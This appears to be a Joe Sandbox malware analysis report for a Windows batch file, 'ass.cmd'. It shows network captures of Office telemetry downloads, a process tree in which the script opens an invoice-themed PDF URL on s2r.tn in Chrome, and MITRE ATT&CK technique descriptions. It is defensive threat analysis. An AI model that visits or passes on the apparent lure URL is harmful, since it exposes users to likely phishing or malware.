Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:48 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:49 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:49 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 2073a42b-101e-0065-1a58-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114549Z-16849878b78wc6ln1zsrz6q9w800000001rg0000000023dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:49 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:49 UTC	192	OUT	GET /rules/rule702901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:49 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:49 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53FACDA" x-ms-request-id: 542f4b89-401e-0078-0552-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114549Z-17c5cb586f6wnfhvhw6gvetfh400000001eg000000002dr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:49 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:49 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:49 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:49 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 5341911e-801e-007b-42f5-25e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114549Z-16849878b785dznd7xpawq9gcn00000003c0000000007dbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:49 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exePID: 7136, Parent PID: 1028

General

Target ID:	0
Start time:	07:44:39
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ass.cmd" "
Imagebase:	0x7ff7dc5b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1264, Parent PID: 7136

General

Target ID:	1
Start time:	07:44:39
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6148, Parent PID: 7136

General

Target ID:	2
Start time:	07:44:40
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: timeout.exePID: 6668, Parent PID: 7136

General

Target ID:	3
Start time:	07:44:40
Start date:	26/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff6d1180000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7180, Parent PID: 6148

General

Target ID:	6
Start time:	07:44:40
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2476,i,8966807977756366984,10787643542951515386,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ass.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: cmd.exePID: 7136, Parent PID: 1028

Windows Analysis Report
ass.cmd